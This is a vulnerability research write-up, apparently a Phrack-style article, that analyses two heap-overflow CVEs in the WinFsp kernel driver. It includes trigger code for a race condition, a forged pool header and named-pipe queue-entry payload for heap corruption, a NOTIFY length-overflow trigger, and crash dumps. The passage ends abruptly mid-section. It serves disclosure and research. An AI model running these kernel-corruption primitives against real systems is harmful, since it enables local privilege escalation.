---
title: From PhrackCTF to Two WinFsp 0-days
author: Lucas Tay
---
|=-----------------------------------------------------------------------=|
|=---------------=[ From PhrackCTF to Two WinFsp 0-days ]=---------------=|
|=-----------------------------------------------------------------------=|
|=----------------------------=[ Lucas Tay ]=----------------------------=|
|=-----------------------------------------------------------------------=|

--[ Introduction

As someone who specializes in Malware Reverse Engineering, I found that
PhrackCTF2025, hosted during DEFCON US 2025, refreshingly reignited a small
spark in me for Vulnerability Research. The CTF challenges were created by
[chompie](https://x.com/chompie1337), and when I found out there was a
Windows Kernel challenge, I immediately partnered with a teammate
([elijah5399](https://elijah5399.github.io/)) who helped to quickly solve
the Linux challenge so I could work on the Windows challenge. My writeup for
the Windows challenge is at: https://chomp.ie/Blog+Posts/PhrackCTF2025). It
was written to be as beginner-friendly as possible, introducing
use-after-free vulnerabilities and an introduction to named pipes and how
they are used in the heap spraying exploitation technique.

A few months after the CTF, I spotted a vulnerability when experimenting
with WinFsp (Windows File System Proxy), as it had a potential use case for
a project I was working on. The vulnerability was a race condition leading
to a heap overflow (credited CVE-2026-3006).

Fast-forwarding another few months. With a plethora of social media posts
about the use of AI in Vulnerability Research, coupled with a timely
conversation with a friend, [uhg](https://x.com/ultimat3hg), we decided to
try our hand at integrating AI into bug hunting as a side project. After
building our harness, we decided to test it out by trying to make it
rediscover my WinFsp vulnerability without any source code.
Funnily enough, it instead found another vulnerability, which turned out to
be an integer overflow leading to a heap overflow (credited CVE-2026-7162).
Both vulnerabilities affect WinFsp version 2.1.25156 (winfsp-2.1.25156) and
can be exploited from a low-integrity Command Prompt on Windows 11.

--[ Agenda

As cliché as it might sound, we would never have found these vulnerabilities
if this spark of interest for vulnerability research had not been reignited
thanks to PhrackCTF2025, and so I dedicate this article showing that CTFs
still mean something in this day and age.

This article will NOT cover the details of exploitation for two reasons -
firstly due to space limitations, and secondly due to the exploitation
techniques having already been heavily documented online.

That said, this article contains the root cause analyses of the two reported
0-days mentioned above (CVE-2026-3006, CVE-2026-7162). It will cover what
the heap spray would look like in memory, and the rest will be treated as an
exercise for the reader in the spirit of CTFs.

--[ CVE-2026-3006 (Race Condition leading to Heap Buffer Overflow)

As I was working on a project, I was looking for a ready-made driver that
gave information about a file system. This led me to find WinFsp - 
https://github.com/winfsp/winfsp. To better understand the driver, I was
looking through the source and found a snippet of code which effectively
fetches `object->size` multiple times. The vulnerability research part of my
brain immediately fired, as this looked like a textbook potential source of
a TOCTOU bug. This led me to question:
1. Could I control that field via `I/O Request Packet (IRP)`?
2. Could the `size` be manipulated from user-mode in another thread (Race
Condition)?

Though it looked impossible at first, it turned out to be possible!

For those who want to follow along with the original vulnerable source, the
following link shows the exact source snippet from the official WinFsp
[repository]
(https://github.com/winfsp/winfsp/blob/bdab233e92a4070afcdb8a0ab80a74138cdc7
f5b/src/sys/create.c#L1002).

---[ Root Cause

As mentioned earlier, an object size is being fetched multiple times,
specifically `Response->Rsp.Create.Reparse.Buffer.Size`. There are four
marked locations where this fetching of size occurs. The first time the size
is fetched, it is used to check for boundaries to make sure that the size
does not exceed the stipulated `Response->Size` [1]. The second time it is
fetched, it is used to validate the reparse point buffer [2]. The third time
it is fetched, it is used to allocate NonPagedPool memory, which is
specified by the same fetched size [3]. Ultimately, on the fourth fetch, it
is used as the number of bytes to copy from the ResparseData buffer into
that very same buffer previously allocated [4].

For this to work, the initial `Rsp.Create.Reparse.Buffer.Size` should be a
small size for [1],[2], and [3]. And when we win the race, our size from the
buffer in [4] should be a large one. This is what would cause the heap
overflow in the NonPagedPoolNx memory region.
...
    ReparseData = (PVOID)(Response->Buffer + 
                            Response->Rsp.Create.Reparse.Buffer.Offset);

    if ((PUINT8)ReparseData +
               Response->Rsp.Create.Reparse.Buffer.Size >
               (PUINT8)Response + Response->Size)          //[1]
        FSP_RETURN(Result = STATUS_IO_REPARSE_DATA_INVALID);

    Result = FsRtlValidateReparsePointBuffer(
                Response->Rsp.Create.Reparse.Buffer.Size,  //[2]
                ReparseData);

    if (!NT_SUCCESS(Result))
        FSP_RETURN();

    ASSERT(0 == Irp->Tail.Overlay.AuxiliaryBuffer);

    Irp->Tail.Overlay.AuxiliaryBuffer = FspAllocNonPagedExternal(
        Response->Rsp.Create.Reparse.Buffer.Size);         //[3]

    if (0 == Irp->Tail.Overlay.AuxiliaryBuffer)
        FSP_RETURN(Result = STATUS_INSUFFICIENT_RESOURCES);


    RtlCopyMemory(Irp->Tail.Overlay.AuxiliaryBuffer, ReparseData,
        Response->Rsp.Create.Reparse.Buffer.Size);         //[4]

    Irp->IoStatus.Information = ReparseData->ReparseTag;
    FSP_RETURN(Result = STATUS_REPARSE);
...
The following shows a high-level overview of the state we want when the race
occurs.
#1: bounds check    -> sees 56 
#2: validation      -> sees 56 
#3: ALLOCATION      -> sees 56 -> allocates 56 bytes
                                        |
                RACER FLIPS 56 TO 8192 HERE
                                        |
                                        v
#4: COPY  -> RtlCopyMemory(dst, src, Size) -> copies 8192 bytes
          -> OVERFLOW !!!
---[ Figuring Out the Vulnerable Code Path

When issuing an `IRP_MJ_DEVICE_CONTROL` request via `DeviceIoControl`, we
are able to pass in a user input buffer and output buffer. To get to the
vulnerable code path, we will need to find out which IOCTL code values to
pass in as parameters. The IOCTL of interest is `FSP_IOCTL_TRANSACT`. Now,
during the creation of this IOCTL code value via the CTL_CODE macro, the
`Method` field can be used to indicate how the input data is passed between
the caller of `DeviceIoControl` and the driver handling the IRP. 

As for `FSP_IOCTL_TRANSACT`, it was created with the method indicated as
`METHOD_BUFFERED`. 

(https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/buffer-de
scriptions-for-i-o-control-codes)

This is how the IOCTL Code value is created for `FSP_IOCTL_TRANSACT`:
#define FSP_IOCTL_TRANSACT \
    CTL_CODE(..., METHOD_BUFFERED, FILE_ANY_ACCESS)
According to documentation, `METHOD_BUFFERED` indicates that an IRP supplies
a pointer to a kernel buffer through `Irp->AssociatedIrp.SystemBuffer`. For
an input buffer, the I/O Manager allocates this kernel buffer and copies the
user-mode input into it before the request is dispatched to the driver.
Because the driver processes a separate kernel copy, changing the original
user-mode buffer after the copy should not affect the data being processed
by the driver. Therefore, the vulnerability did not initially appear
exploitable.

The following shows the flow of the Input Buffer in the normal IRP path:
User-mode response buffer 
        | 
        | I/O Manager copy 
        v 
Irp->AssociatedIrp.SystemBuffer 
        | 
        v 
FspVolumeTransact 
        | 
        v 
FspVolumeFastTransact
However, WinFsp supported two paths for processing `FSP_IOCTL_TRANSACT`. One
is through a normal IRP path and another via the Fast I/O path. 
DeviceIoControl(FSP_IOCTL_TRANSACT) 
    | 
    +--> Normal IRP path 
    |       IRP_MJ_DEVICE_CONTROL 
    |       -> FspDeviceControl 
    |       -> FspVolumeTransact 
    | 
    +--> Fast I/O path 
            FastIoDeviceControl 
            -> FspFastIoDeviceControl 
            -> FspVolumeFastTransact
WinFsp registered both paths during the driver initialisation. For the
normal IRP path, it registered `FspDeviceControl` as the handler for
`IRP_MJ_DEVICE_CONTROL`:
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = FspDeviceControl;
For the Fast I/O path, it registered `FspFastIoDeviceControl` in the
driver's Fast I/O dispatch table:
FspFastIoDispatch.FastIoDeviceControl = FspFastIoDeviceControl;
DriverObject->FastIoDispatch = &FspFastIoDispatch;
With that, a call to `DeviceIoControl` does not have to reach the driver as
a normal `IRP_MJ_DEVICE_CONTROL` request. To reach the vulnerable code path,
we can attempt to process the operation through the `FastIoDeviceControl`
callback. This is made possible due to how the supplied buffer is handled.
When the operation is dispatched as a normal IRP, the request eventually
reaches `FspVolumeTransact`. `FspVolumeTransact` obtains the input buffer
from the kernel-owned `SystemBuffer`, which is then passed to
`FspVolumeFastTransact`. This is expected due to `METHOD_BUFFERED`
behaviour. 

However, in the Fast I/O path, the callback used in this path is
`FspFastIoDeviceControl`. When the request is accepted by WinFsp,
`FspFastIoDeviceControl` passes the callback buffers directly to
`FspVolumeFastTransact`, where there is no intermediate kernel buffer
allocation or copy of the input buffer's contents before the call to
`FspVolumeFastTransact`:
IoStatus->Status = FspVolumeFastTransact( 
    FileObject->FsContext2, 
    IoControlCode, 
    InputBuffer, 
    InputBufferLength, 
    OutputBuffer, 
    OutputBufferLength, 
    IoStatus, 
    (PIRP)FSRTL_FAST_IO_TOP_LEVEL_IRP
    );
The following shows the flow of the Input Buffer in Fast I/O IRP path:
User-mode response buffer 
        | 
        | direct pointer 
        v 
FspFastIoDeviceControl.InputBuffer 
        | 
        | same pointer 
        v 
FspVolumeFastTransact.InputBuffer
This is why, even though the `FSP_IOCTL_TRANSACT` was defined with
`METHOD_BUFFERED`, it did NOT cause the I/O manager to automatically create
an `Irp->AssociatedIrp.SystemBuffer`. Therefore, it is possible to mess with
the user-mode input buffer via a race condition!

---[ Necessary Conditions for Trigger

Tracing the CREATE completion path shows that WinFsp registers
`FspFsvolCreateComplete` as the completion routine for `IRP_MJ_CREATE`
operations:
FspIopCompleteFunction[IRP_MJ_CREATE] = FspFsvolCreateComplete;
While the `FspFsvolCreateComplete` function is lengthy (about 435 lines of
code), the vulnerable code is near the start of the function and is a code
block within the else branch of the condition. From the condition
statements, we can trace the few conditions that need to be satisfied:

1. `Request->Kind` should be `FspFsctlTransactCreateKind`
2. `Response->IoStatus.Status` should be `STATUS_REPARSE`
3. `Response->IoStatus.Information` should be `IO_REPARSE`

This means, when an application opens a path on a WinFsp-backed volume, the
WinFsp kernel driver receives the _CREATE IRP and forwards the request to
the user-mode filesystem. The user-mode filesystem then returns a 
transaction response, which is later processed by `FspFsvolCreateComplete`.
Now, WinFsp handles the reparse data, during which the code reads the
reparse buffer `size` field multiple times directly from the response
buffer. It is important to note that `TRANSACT` refers to the exchange
between the WinFsp kernel driver and the user-mode filesystem.

The following shows the high-level conditional statements used to derive the
conditions above:
NTSTATUS FspFsvolCreateComplete(
PIRP Irp, const FSP_FSCTL_TRANSACT_RSP *Response)
{
    // ...
    FSP_FSCTL_TRANSACT_REQ *Request = FspIrpRequest(Irp);
    // ...
    if (FspFsctlTransactCreateKind == Request->Kind)
    {
        // ...
        // ...
        /* special case STATUS_REPARSE */
        if (STATUS_REPARSE == Response->IoStatus.Status)
        {
            if (IO_REMOUNT == Response->IoStatus.Information)
            {
                Irp->IoStatus.Information = IO_REMOUNT;
                FSP_RETURN(Result = STATUS_REPARSE);
            }
            else
            if (IO_REPARSE == Response->IoStatus.Information ||
              IO_REPARSE_TAG_SYMLINK == Response->IoStatus.Information)
            {

            if (IO_REPARSE == Response->IoStatus.Information ||
              IO_REPARSE_TAG_SYMLINK == Response->IoStatus.Information){
                    // ...
                    // many other condition checks 
                    // against IoStatus.Information
                    // ...
            }else{
                // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
                // !!!! our vulnerable code exists here !!!!!
                // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
            }
            //...
            }
        // ...
        }
        // ,,,
    }
    //...
}
---[ Interacting with the driver

To interact with the driver, we can take a look at `FspFastIoDeviceControl`,
which was implemented to speed up communication protocols. For this to work,
we should make use of the Fast I/O path (`FSP_IOCTL_TRANSACT`) for
transactions between the WinFsp kernel driver and the user-mode filesystem. 

---[ Steps to Trigger the Vulnerability

As the vulnerable path is reached through CREATE completion on a
WinFsp-backed volume, a WinFsp volume should be created first. We can
closely mirror `FspFsctlCreateVolume` which uses `CreateFileW` against the
`\Device\WinFsp.Disk\VolumeParams=` path. After the volume is created, it
queries the assigned volume name using `FSP_FSCTL_VOLUME_NAME`.

Before starting the actual race, it is important to perform an
initialisation step. That step is to send an empty `FSP_IOCTL_TRANSACT`
request to mark the volume as ready to accept IRPs. Without this step, we
will encounter error 995 as the driver sets the `RejectIrpPriorToTransact0`
variable to TRUE in `fuse.c` by default:
BOOLEAN FspFsvolDeviceReadyToAcceptIrp(PDEVICE_OBJECT DeviceObject)
{
    FSP_FSVOL_DEVICE_EXTENSION *FsvolDeviceExtension =
    FspFsvolDeviceExtension(DeviceObject);
    // RejectIrpPriorToTransact0 = 1 by default
    // We want this to return TRUE, so RejectIrpPriorToTransact0 needs to be 
    // set to 0
    // We can do this by sending an empty FSP_IOCTL_TRANSACT request.
    // This tells the driver that we're ready to accept IRPs 
    if (!FsvolDeviceExtension->VolumeParams.RejectIrpPriorToTransact0)
        return TRUE;
    return 0 != InterlockedCompareExchange(
    &FsvolDeviceExtension->ReadyToAcceptIrp, 0, 0);
}
Once that initialisation step is done, we can create two threads. One is the
`flipper_racer_thread`, and another is the `trigger_thread`. The racer 
thread should be pinned to a dedicated core and continuously toggle the
reparse buffer `size` field between a `CHOSEN_SIZE` and `LARGE_SIZE`:
static DWORD WINAPI racer_thread(LPVOID p)
{
    SetThreadAffinityMask(GetCurrentThread(), 2);
    while (g_running) {
        if (g_paused) { _mm_pause(); continue; }
        *g_pSize = (UINT16)SMALL_SIZE;
        _mm_pause();
        *g_pSize = (UINT16)LARGE_SIZE;
        _mm_pause();
    }
    return 0;
}
In parallel, a `trigger_thread` will repeatedly call `CreateFileW` on a path
inside the WinFsp volume. Each of these calls generates an `IRP_MJ_CREATE`,
which WinFsp forwards to the user-mode filesystem through the transact
interface. This is what would eventually invoke `FspFsvolCreateComplete`,
where our vulnerable code path exists.

static DWORD WINAPI trigger_thread(LPVOID p)
{
    while (!InterlockedCompareExchange(&g_ready, 0, 0)) Sleep(10);
    SetThreadAffinityMask(GetCurrentThread(), 4UL);

    WCHAR path[512];
    wsprintfW(path, L"\\\\?\\GLOBALROOT%s\\trig.txt", g_volName);

    while (g_running) {
        HANDLE h = CreateFileW(path, GENERIC_READ,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (h != INVALID_HANDLE_VALUE) CloseHandle(h);
    }
    return 0;
}
The main thread then behaves like the user-mode filesystem daemon. It
repeatedly calls `DeviceIoControl` with `FSP_IOCTL_TRANSACT`, sending the
prepared `STATUS_REPARSE` response while receiving new requests from the
driver. 

The response buffer also needs to be built. This follows the
`FSP_FSCTL_TRANSACT_RSP` structure from `fsctl.h` with response `Rsp` as
`FSP_FSCTL_TRANSACT_BUF`.

static void build_race_rsp(void)
{
    memset(g_rsp, 0, sizeof g_rsp);

    // FSP_FSCTL_TRANSACT_RSP
    *(UINT16*)(g_rsp + RSP_VERSION)  = 0;
    *(UINT16*)(g_rsp + RSP_SIZE)     = (UINT16)sizeof g_rsp;
    *(UINT32*)(g_rsp + RSP_KIND)     = KIND_CREATE;
    *(UINT32*)(g_rsp + RSP_INFO)     = RACE_REPARSE_TAG;
    *(UINT32*)(g_rsp + RSP_STATUS)   = (UINT32)STATUS_REPARSE_NT;
    *(UINT16*)(g_rsp + RSP_BUF_OFF)  = 0;    // FSP_FSCTL_TRANSACT_BUF
    *(UINT16*)(g_rsp + RSP_BUF_SIZE) = SMALL_SIZE; // FSP_FSCTL_TRANSACT_BUF

    /* reparse header */
    BYTE *rpb = g_rsp + RSP_BUFFER;
    *(ULONG *)(rpb + 0) = RACE_REPARSE_TAG;
    *(USHORT*)(rpb + 4) = (USHORT)(SMALL_SIZE - 8);
    *(USHORT*)(rpb + 6) = 0;
    memset(rpb + 8, 'R', SMALL_SIZE - 8);
    // ...
    // truncated code
    // ...
}
---[ Building Response for Transaction

Before racing, we need to build the transaction response to hit the
vulnerable code path. It also carries the overflow payload that contains our
forged POOL_HEADER and DQE, which would be written into the victim chunk
when we win the race.

This is how the response is assembled for the arbitrary read (Spoiler alert:
This needs to be modified later on when trying to get an arbitrary write).

1. Fill in the FSP_FSCTL_TRANSACT_RSP header, which includes the version,
size, kind (CREATE), and Status = `STATUS_REPARSE` as discussed earlier to
trigger the code path.
2. Set the inner `FSP_FSCTL_TRANSACT_BUF`'s size field to 56. This is the
field that is being raced in the racer thread.
3. Construct the valid reparse header, then forge the victim's POOL_HEADER.
Its `PoolType` is set to NonPagedPoolNx (0x02), BlockSize to 0x05
(calculated via 0x50/16), and tag as `NpFr`.
4. Forge the DQE header. The Flink and Blink are set to a temporary usermode
buffer, as we currently do not have a kernel leak or an arbitrary write. We
point the `IRP` Pointer to a forged user-mode IRP structure. We can now
essentially set DataSize to a huge value so a single peek can return as many
bytes as we want. We also want to specify `EntryType` to Unbuffered (0x01).
#define RSP_VERSION  0
#define RSP_SIZE     2
#define RSP_KIND     4
#define RSP_HINT     8
#define RSP_INFO     16
#define RSP_STATUS   20
#define RSP_BUF_OFF  24
#define RSP_BUF_SIZE 26
#define RSP_BUFFER   128
#define KIND_CREATE  1

#define STATUS_REPARSE_NT   0x00000104
#define RACE_REPARSE_TAG    0x80000100

static void build_race_rsp(void)
{
    memset(g_rsp, 0, sizeof g_rsp);

    // FSP_FSCTL_TRANSACT_RSP
    *(UINT16*)(g_rsp + RSP_VERSION)  = 0;
    *(UINT16*)(g_rsp + RSP_SIZE)     = (UINT16)sizeof g_rsp;
    *(UINT32*)(g_rsp + RSP_KIND)     = KIND_CREATE;
    *(UINT32*)(g_rsp + RSP_INFO)     = RACE_REPARSE_TAG;
    *(UINT32*)(g_rsp + RSP_STATUS)   = (UINT32)STATUS_REPARSE_NT;
    *(UINT16*)(g_rsp + RSP_BUF_OFF)  = 0;    // FSP_FSCTL_TRANSACT_BUF

    *(UINT16*)(g_rsp + RSP_BUF_SIZE) = SMALL_SIZE; // RACE THIS 

    /* reparse header */
    BYTE *rpb = g_rsp + RSP_BUFFER;
    *(ULONG *)(rpb + 0) = RACE_REPARSE_TAG;
    *(USHORT*)(rpb + 4) = (USHORT)(SMALL_SIZE - 8);
    *(USHORT*)(rpb + 6) = 0;
    memset(rpb + 8, 'R', SMALL_SIZE - 8);

    /* === Overflow payload (80 bytes at rpb + SMALL_SIZE) === */
    BYTE* ovf = rpb + SMALL_SIZE;
    memset(ovf, 0, OVERFLOW);

    /* Adjacent block's _POOL_HEADER (plaintext kLFH).
     * Block 0x50: BlockSize = 0x50/16 = 5, PoolType = NonPagedPoolNx */
    *(UCHAR*)(ovf + OVF_POOLHDR + 0) = 0;            /* PreviousSize */
    *(UCHAR*)(ovf + OVF_POOLHDR + 1) = 0;            /* PoolIndex */
    *(UCHAR*)(ovf + OVF_POOLHDR + 2) = 5;            /* BlockSize */
    *(UCHAR*)(ovf + OVF_POOLHDR + 3) = 0x02;         /* PoolType */
    *(ULONG*)(ovf + OVF_POOLHDR + 4) = 0x7246704E;   /* 'NpFr' */
    *(UINT64*)(ovf + OVF_POOLHDR + 8) = 0;           /* ProcessBilled */

    // Forged NP_DATA_QUEUE_ENTRY header
    NP_DQE* dqe = (NP_DQE*)(ovf + OVF_DQE);
    dqe->Flink = UMEM_BASE;       
    dqe->Blink = UMEM_BASE;         
    dqe->Irp = (PVOID)UIRP_ADDR;   /* user-mode fake IRP */
    dqe->EntryType = 1;            /* unbuffered*/
    dqe->DataSize = 0xFFFF;          
    dqe->Pad = 0;

    g_pSize = (volatile UINT16*)(g_rsp + RSP_BUF_SIZE);
}
---[ The Crash

To test things out deterministically, we can make use of the driver verifier
to point to `winfsp_x64.sys` under the special pool. This would allow us to
immediately capture any overflowed reads or writes.

We see a bugcheck `PAGE_FAULT_IN_NONPAGED_AREA (50)`, faulting on the
following instruction at `winfsp_x64!FspFsextProviderTransact+0x2c33`:
movaps xmmword ptr [rcx-10h],xmm0
We see a write into the memory location pointed to by `rcx-0x10`. This is
the overflow landing in an unmapped NonPagedPoolNx region:
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced....
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffffa40f8dd11000, memory referenced.
Arg2: 0000000000000002, ...
...
Arg3: fffff80025034e53, ...
    address.
Arg4: 0000000000000002, (reserved)
...
...
PROCESS_NAME:  test.exe

IP_IN_PAGED_CODE: 
winfsp_x64!FspFsextProviderTransact+2c33
fffff800`25034e53 0f2941f0        movaps  xmmword ptr [rcx-10h],xmm0

STACK_TEXT:  
*** WARNING: Unable to verify checksum for test.exe
Unable to load image C:\Users\user\Desktop\test.exe, Win32 error 0n2
fffffe83`5fc5e3e8 : nt!DbgBreakPointWithStatus
fffffe83`5fc5e3f0 : nt!KiBugCheckDebugBreak+0x12
fffffe83`5fc5e450 : nt!KeBugCheck2+0x947
fffffe83`5fc5eb50 : nt!KeBugCheckEx+0x107
fffffe83`5fc5eb90 : nt!MiSystemFault+0x198d64
fffffe83`5fc5ec90 : nt!MmAccessFault+0x34f
fffffe83`5fc5ee30 : nt!KiPageFault+0x35e
fffffe83`5fc5efc8 : winfsp_x64!FspFsextProviderTransact+0x2c33
fffffe83`5fc5efd0 : winfsp_x64!FspPosixSetUidMap+0xef0
fffffe83`5fc5f0d0 : winfsp_x64!FspPosixSetUidMap+0x1404f
fffffe83`5fc5f170 : winfsp_x64!FspPosixSetUidMap+0x2ffc
fffffe83`5fc5f1c0 : FLTMGR!FltpPerformFastIoCall+0x60b
fffffe83`5fc5f220 : FLTMGR!FltpFastIoDeviceControl+0xec
fffffe83`5fc5f2c0 : nt!IopXxxControlFile+0x71b
fffffe83`5fc5f3e0 : nt!NtDeviceIoControlFile+0x56
fffffe83`5fc5f450 : nt!KiSystemServiceCopyEnd+0x28
000000e8`4a8fa608 : ntdll!NtDeviceIoControlFile+0x14
000000e8`4a8fa610 : KERNELBASE!DeviceIoControl+0x67
000000e8`4a8fa680 : KERNEL32!DeviceIoControlImplementation+0x80
000000e8`4a8fa6d0 : test+0x171e
...
MODULE_NAME: winfsp_x64
IMAGE_NAME:  winfsp-x64.sys
--[ CVE-2026-7162

On a side quest to test out our AI bug hunting harness, uhg and I tried to
rediscover CVE-2026-3006 without any source code. We did not actually manage
to rediscover CVE-2026-3006, but we ended up finding an integer overflow
vulnerability resulting from a 32-bit truncation. Unable to believe our
accidental success, we excitedly analysed and manually verified the bug. We
managed to build a working exploit for it in the end!

This vulnerability is actually much easier to understand compared to the
previous one.

---[ Root Cause Analysis

As the vulnerability was discovered sourceless, we verified it the same way.
We can see the following in a decompiler. First, the 64-bit value of
`Length` is obtained from a structure in the third argument [1]. If the
length is non-zero, it will attempt to allocate a heap buffer via
`FspAllocNonPaged`, which is a wrapper around `ExAllocatePoolWithTag`, and
the length is truncated from QWORD to DWORD [2]. The bug occurs when the
`memcpy` function tries to copy the full 64-bit value of `Length` instead of
the truncated `Length` [3].
uint64_t sub_140023278(int64_t arg1, int64_t arg2, void* arg3)
    DEVICE_OBJECT* rsi = *(*(arg3 + 0x30) + 0x20)
    DEVICE_OBJECT* arg_18 = rsi

    int64_t* Address = *(arg3 + 0x20)
    uint64_t Length = zx.q(*(arg3 + 0x10))  // [1]

    WORK_QUEUE_ITEM* rdi = nullptr
    
    if (Length.d == 0)
        return sub_1400233e4(rsi)
    ///...
    int32_t rbx_1
    
    if (*(rsi->DeviceExtension + 0x418) == 0)
        WORK_QUEUE_ITEM* rax_4 = ExAllocatePoolWithTag(
                            PoolType: data_14000a2e0, 
                            NumberOfBytes: zx.q((Length + 0x30).d), // [2] 
                            Tag: 'IpsF')
        rdi = rax_4
        WORK_QUEUE_ITEM* arg_20 = rax_4
        
        if (rax_4 != 0)
            ProbeForRead(Address, Length, Alignment: 1)
            memcpy_sub_140004d40(rdi + 0x30, Address, Length) // [3]
            // ...

Cross-referencing the source code shows that the vulnerable function is
`FspVolumeNotify` [at](https://github.com/winfsp/winfsp/blob/ff9e38c82dfb14a
26ed8bbe67ac98567fccf9180/src/sys/volume.c#L1361).
NTSTATUS FspVolumeNotify(
    PDEVICE_OBJECT FsctlDeviceObject, PIRP Irp, PIO_STACK_LOCATION IrpSp)
{
    // ...
    
    ULONG InputBufferLength = 
        IrpSp->Parameters.FileSystemControl.InputBufferLength; // [1]
    // ...

    if (0 == InputBufferLength)
        return FspVolumeNotifyLock(FsvolDeviceObject);

    // ...

    NotifyWorkItem = FspAllocNonPaged(
        FIELD_OFFSET(FSP_VOLUME_NOTIFY_WORK_ITEM, InputBuffer) 
        + InputBufferLength); // [2] Alloc size, evaluated 32-bit 
                              //     but wraps for large InputBufferLength

    // ...

    try
    {
        ProbeForRead(InputBuffer, InputBufferLength, 1);
        RtlCopyMemory(
            NotifyWorkItem->InputBuffer, 
            InputBuffer,  
            InputBufferLength); // [3]

        // ...
    }
    except (EXCEPTION_EXECUTE_HANDLER)
    {
        // ...
    }

In order to find out if it can be exploited, we need to see if it is
possible to control the `Length` variable. If it is possible, this would
mean we can have a controlled overflow in the NonPagedPoolNx region.

The math for the overflow is as such:
1) Length = 0xFFFFFFFF

2) The truncated allocation size in [2]: 
(0xFFFFFFFF + 0x30) & 0xFFFFFFFF = 0x2F

3) The result in NPPNx overflow out of a 0x40 pool chunk
0x2F ~= 0x30
including header, 0x30 + 0x10 = 0x40

4) Overflow is in fact wrapped to 0x10000002f !!!

One thing to note is that the total buffer to copy over to
`NotifyWorkItem->InputBuffer` is `0x10000002f`, which could end up hitting
guard pages. Fortunately, we have a try-except block within the driver's
code itself which helps to prevent a crash.

---[ Triggering the Vulnerability

As with the initialisation step for CVE-2026-3006, a volume is created and
an empty `FSP_IOCTL_TRANSACT` request must be sent, or the driver will not
accept or process incoming operations. After that, we can trigger it by
sending `FSP_FSCTL_NOTIFY` with `0xFFFFFFFF` as the length.
+-----------------------------------------------------------------+
| exploit.exe                                                     |
|                                                                 |
|CreateFile("\\?\GLOBALROOT\Device\WinFsp.Disk\VolumeParams=...") |
|                             |                                   |
|                             v                                   |
|         Create first empty initialization transaction           |
|                             |                                   |
|                             v                                   |
|   DeviceIoControl(hVol, FSP_FSCTL_NOTIFY, src, 0xFFFFFFFF, ...) |
+-----------------------------+-----------------------------------+
                              |
+-----------------------------+-----------------------------------+
| WinFsp                      |                                   |
|                             v                                   |
| Dispatch sub_140023278 (FspVolumeNotify)                        |
|                                                                 |
|     size = (Length + 0x30) truncated 32 bits                    |
|     pool = ExAllocatePool(NonPagedPoolNx, size)                 |
|     memmove(pool+0x30, src, Length) <- Full length <- Overflow  |
+-----------------------------------------------------------------+
---[ The Crash

We see a bugcheck `PAGE_FAULT_IN_NONPAGED_AREA (50)`, faulting on the 
instruction at `winfsp_x64+0x4f13`:

movntps xmmword ptr [rcx-10h],xmm0
We see a write into the memory location pointed to by `rcx-0x10`. This is
the overflow landing in an unmapped NonPagedPoolNx region:

PAGE_FAULT_IN_NONPAGED_AREA (50)
...
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffffc20231d12000, memory referenced.
Arg2: 0000000000000002, ...
Arg3: fffff80121484f13, ...
Arg4: 0000000000000002, (reserved)

Debugging Details:
------------------
...

IP_IN_PAGED_CODE: 
winfsp_x64+4f13
fffff801`21484f13 0f2b41f0        movntps xmmword ptr [rcx-10h],xmm0

STACK_TEXT:  
ffff978e`ad3c7038 : nt!KeBugCheckEx
ffff978e`ad3c7040 : nt!MiSystemFault+0x850
ffff978e`ad3c7130 : nt!MmAccessFault+0x646
ffff978e`ad3c72a0 : nt!KiPageFault+0x38b
ffff978e`ad3c7438 : winfsp_x64+0x4f13
ffff978e`ad3c7440 : winfsp_x64+0x2333f
ffff978e`ad3c7448 : 0xffffc202`2bb749f0
ffff978e`ad3c7450 : nt!KeLeaveCriticalRegionThread+0x9
ffff978e`ad3c7480 : winfsp_x64+0x1cd91
ffff978e`ad3c7488 : 0xffffc202`2bb749f0


SYMBOL_NAME:  winfsp_x64+4f13
MODULE_NAME: winfsp_x64
IMAGE_NAME:  winfsp-x64.sys
---------
Knowing that this is possible, we can now attempt to build a full exploit
chain.

---[ Exploitation Example

As both vulnerabilities are exploited in the same way, I will only show an
example for CVE-2026-3006.

We can make use of Named Pipes in order to carry out the exploitation. As
exploitation is not part of the agenda (and because there are better
writeups that already exist), please refer to the following for a detailed
writeup on the exploitation technique:
 - https://github.com/vp777/Windows-Non-Paged-Pool-Overflow-Exploitation

Here is what the pool looks like when we properly groom the heap and land a
vulnerable WinFSP chunk (`FspI`) adjacent to our desired victim chunk
(`NpFr`):
     <------0x50 bytes-----><------0x50 bytes----->                                                                     
     |    Hole slotted by  |        Victim        |                                                                     
     |      WinFsp Chunk   |         DQE          |     Hole                                                            
     +--+----------------+-+--+---------+---------+----...---+                                                
     |  |                |P|  |         |         |xxxx...xxx|                                                
     |PH|    56 bytes    |A|PH|   DQE   | data    |xxxx...xxx|                                                
     |  |                |D|  |  header |         |xxxx...xxx|                                                
     +^-+----------------+-+^-+----^----+---------+----...---+                                                
      |                     |      |                                                                                    
      |                     |      |                                                                                    
      +----------+----------+  UINT64 Flink;          -+                                                                
                 |             UINT64 Blink;           |                                                                
                               PVOID  Irp;             |                                                                
             POOL_HEADER       UINT64 SecurityContext; +- 0x30 bytes                                                  
             Size 0x10         UINT32 EntryType;       |                                                               
                               UINT32 QuotaInEntry;    |                                                                
                               UINT32 DataSize;        |                                                                
                               UINT32 pad;            -+                                                                
                                                                                                                        

To properly form our payload, we need to know the layout of the chunk we are
corrupting. Every pool block begins with a `POOL_HEADER` of size 0x10. For
an NPFS data-queue entry, that is followed by the `NP_DATA_QUEUE_ENTRY`
header of size 0x30, followed by the entry's inline data. Within the
`racer_thread`, we are flipping between `SMALL_SIZE` and `LARGE_SIZE`. The
values chosen are 56 and 136 (0x88) bytes, respectively. The following shows
the calculation of `LARGE_SIZE` that we have to race with.
     56  in-bounds reparse data   (= the SMALL allocation)
   +  8  padding / slack          (the 0x50 block holds 64 data bytes; we 
                                   used 56)
   + 16  victim POOL_HEADER       (0x10)
   + 48  victim DQE header        (0x30)   <- the fields to forge
   +  8  into the victim's data   (margin)
   ----
    136  = 0x88   (this is LARGE, the copy length)
Visually, it would look like this:
